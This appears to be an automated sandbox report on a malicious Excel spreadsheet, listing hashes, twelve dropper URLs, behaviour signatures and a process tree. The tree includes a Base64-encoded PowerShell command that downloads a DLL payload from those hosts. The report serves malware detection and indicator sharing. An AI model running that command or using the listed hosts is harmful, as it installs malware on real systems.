817f5336a81c5f8b410e5e70fe7bd3577833ecf2aabcf9b586fac2dc4e0412be

Analysis

max time kernel
62s
max time network
114s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
02/02/2022, 19:23

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General

Target
ZYC-010222 CEPZ-020222.xls
Size 150KB
Sample220202-x3szesbcbl
SHA256 817f5336a81c5f8b410e5e70fe7bd3577833ecf2aabcf9b586fac2dc4e0412be
MD5 44761b11083ec66d6254fcc6ba6e5052
SHA1 af02f661dcc58d404879999b34640a37c9c0cf16
SHA512 bb14b8a3b546d2c75ef6b703b795d1f34d3ddba37f03bbab8f0f054f401b224a4e0b60377039244afc6af6326d7c90953f8224ce0656d76bc0282dc60336378d
MD5 SHA1 SHA512

Score

10^/10

persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://actividades.laforetlanguages.com/wp-admin/BlkdOKDXL/
exe.dropper
http://sbcopylive.com.br/rjuz/w/
exe.dropper
https://trasix.com/wp-admin/y5Aa1jt0Sp2Qk/
exe.dropper
https://www.parkinsons.co.in/abc/Y6Y0fTbUEg6/
exe.dropper
https://biz.merlin.ua/wp-admin/W6agtFSRZGt371dV/
exe.dropper
http://bruckevn.site/3yztzzvh/nmY4wZfbYL/
exe.dropper
https://pardiskood.com/wp-content/NR/
exe.dropper
https://daujimaharajmandir.org/wp-includes/63De/
exe.dropper
https://datasits.com/wp-includes/Zkj4QO/
exe.dropper
https://anugerahmasinternasional.co.id/wp-admin/SJbxE5I/
exe.dropper
https://atmedic.cl/sistemas/3ZbsUAU/
exe.dropper
https://anwaralbasateen.com/Fox-C404/mDHkfgebMRzmGKBy/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3524	4572	wscript.exe	81

Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	wscript.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4572	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2964	svchost.exe
Token: SeCreatePagefilePrivilege	2964	svchost.exe
Token: SeShutdownPrivilege	2964	svchost.exe
Token: SeCreatePagefilePrivilege	2964	svchost.exe
Token: SeShutdownPrivilege	2964	svchost.exe
Token: SeCreatePagefilePrivilege	2964	svchost.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4572	EXCEL.EXE
4572	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4572	EXCEL.EXE
4572	EXCEL.EXE
4572	EXCEL.EXE
4572	EXCEL.EXE
4572	EXCEL.EXE
4572	EXCEL.EXE
4572	EXCEL.EXE
4572	EXCEL.EXE
4572	EXCEL.EXE
4572	EXCEL.EXE
4572	EXCEL.EXE
4572	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4572 wrote to memory of 3524	4572	EXCEL.EXE	93
PID 4572 wrote to memory of 3524	4572	EXCEL.EXE	93
PID 3524 wrote to memory of 3832	3524	wscript.exe	94
PID 3524 wrote to memory of 3832	3524	wscript.exe	94
PID 3832 wrote to memory of 4644	3832	cmd.exe	96
PID 3832 wrote to memory of 4644	3832	cmd.exe	96

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ZYC-010222 CEPZ-020222.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\wetidjks.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\programdata\jledshf.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABnAGoAcwBlAGIAbgBnAHUAawBpAHcAdQBnADMAawB3AGoAZAA9ACIAaAB0AHQAcAA6AC8ALwBhAGMAdABpAHYAaQBkAGEAZABlAHMALgBsAGEAZgBvAHIAZQB0AGwAYQBuAGcAdQBhAGcAZQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBCAGwAawBkAE8ASwBEAFgATAAvACwAaAB0AHQAcAA6AC8ALwBzAGIAYwBvAHAAeQBsAGkAdgBlAC4AYwBvAG0ALgBiAHIALwByAGoAdQB6AC8AdwAvACwAaAB0AHQAcABzADoALwAvAHQAcgBhAHMAaQB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB5ADUAQQBhADEAagB0ADAAUwBwADIAUQBrAC8ALABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBwAGEAcgBrAGkAbgBzAG8AbgBzAC4AYwBvAC4AaQBuAC8AYQBiAGMALwBZADYAWQAwAGYAVABiAFUARQBnADYALwAsAGgAdAB0AHAAcwA6AC8ALwBiAGkAegAuAG0AZQByAGwAaQBuAC4AdQBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwA2AGEAZwB0AEYAUwBSAFoARwB0ADMANwAxAGQAVgAvACwAaAB0AHQAcAA6AC8ALwBiAHIAdQBjAGsAZQB2AG4ALgBzAGkAdABlAC8AMwB5AHoAdAB6AHoAdgBoAC8AbgBtAFkANAB3AFoAZgBiAFkATAAvACwAaAB0AHQAcABzADoALwAvAHAAYQByAGQAaQBzAGsAbwBvAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBOAFIALwAsAGgAdAB0AHAAcwA6AC8ALwBkAGEAdQBqAGkAbQBhAGgAYQByAGEAagBtAGEAbgBkAGkAcgAuAG8AcgBnAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANgAzAEQAZQAvACwAaAB0AHQAcABzADoALwAvAGQAYQB0AGEAcwBpAHQAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AWgBrAGoANABRAE8ALwAsAGgAdAB0AHAAcwA6AC8ALwBhAG4AdQBnAGUAcgBhAGgAbQBhAHMAaQBuAHQAZQByAG4AYQBzAGkAbwBuAGEAbAAuAGMAbwAuAGkAZAAvAHcAcAAtAGEAZABtAGkAbgAvAFMASgBiAHgARQA1AEkALwAsAGgAdAB0AHAAcwA6AC8ALwBhAHQAbQBlAGQAaQBjAC4AYwBsAC8AcwBpAHMAdABlAG0AYQBzAC8AMwBaAGIAcwBVAEEAVQAvACwAaAB0AHQAcABzADoALwAvAGEAbgB3AGEAcgBhAGwAYgBhAHMAYQB0AGUAZQBuAC4AYwBvAG0ALwBGAG8AeAAtAEMANAAwADQALwBtAEQASABrAGYAZwBlAGIATQBSAHoAbQBHAEsAQgB5AC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABoAGsAbAB3AFIASABKAFMAZQA0AGgAIABpAG4AIAAkAGcAagBzAGUAYgBuAGcAdQBrAGkAdwB1AGcAMwBrAHcAagBkACkAewAkAEoAcwAzAGgAbABzAGsAZABjAGYAawA9ACIAdgBiAGsAdwBrACIAOwAkAHMAZABlAHcASABTAHcAMwBnAGsAagBzAGQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJABKAHMAMwBoAGwAcwBrAGQAYwBmAGsAKwAiAC4AZABsAGwAIgA7AGkATgB2AE8AawBlAC0AdwBFAGIAcgBlAFEAdQBlAHMAVAAgAC0AdQBSAGkAIAAkAGgAawBsAHcAUgBIAEoAUwBlADQAaAAgAC0AbwB1AFQAZgBpAEwAZQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAA7AGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A
      4⤵
      PID:4644

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe efd438acfccc93567c7105475e79a933 iIDj98yJGUW8jn8xMtQdsA.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2964

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2964-706-0x000002B615DA0000-0x000002B615DA4000-memory.dmp

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memory/4572-130-0x00007FFF17E10000-0x00007FFF17E20000-memory.dmp

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memory/4572-131-0x00007FFF17E10000-0x00007FFF17E20000-memory.dmp

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memory/4572-132-0x00007FFF17E10000-0x00007FFF17E20000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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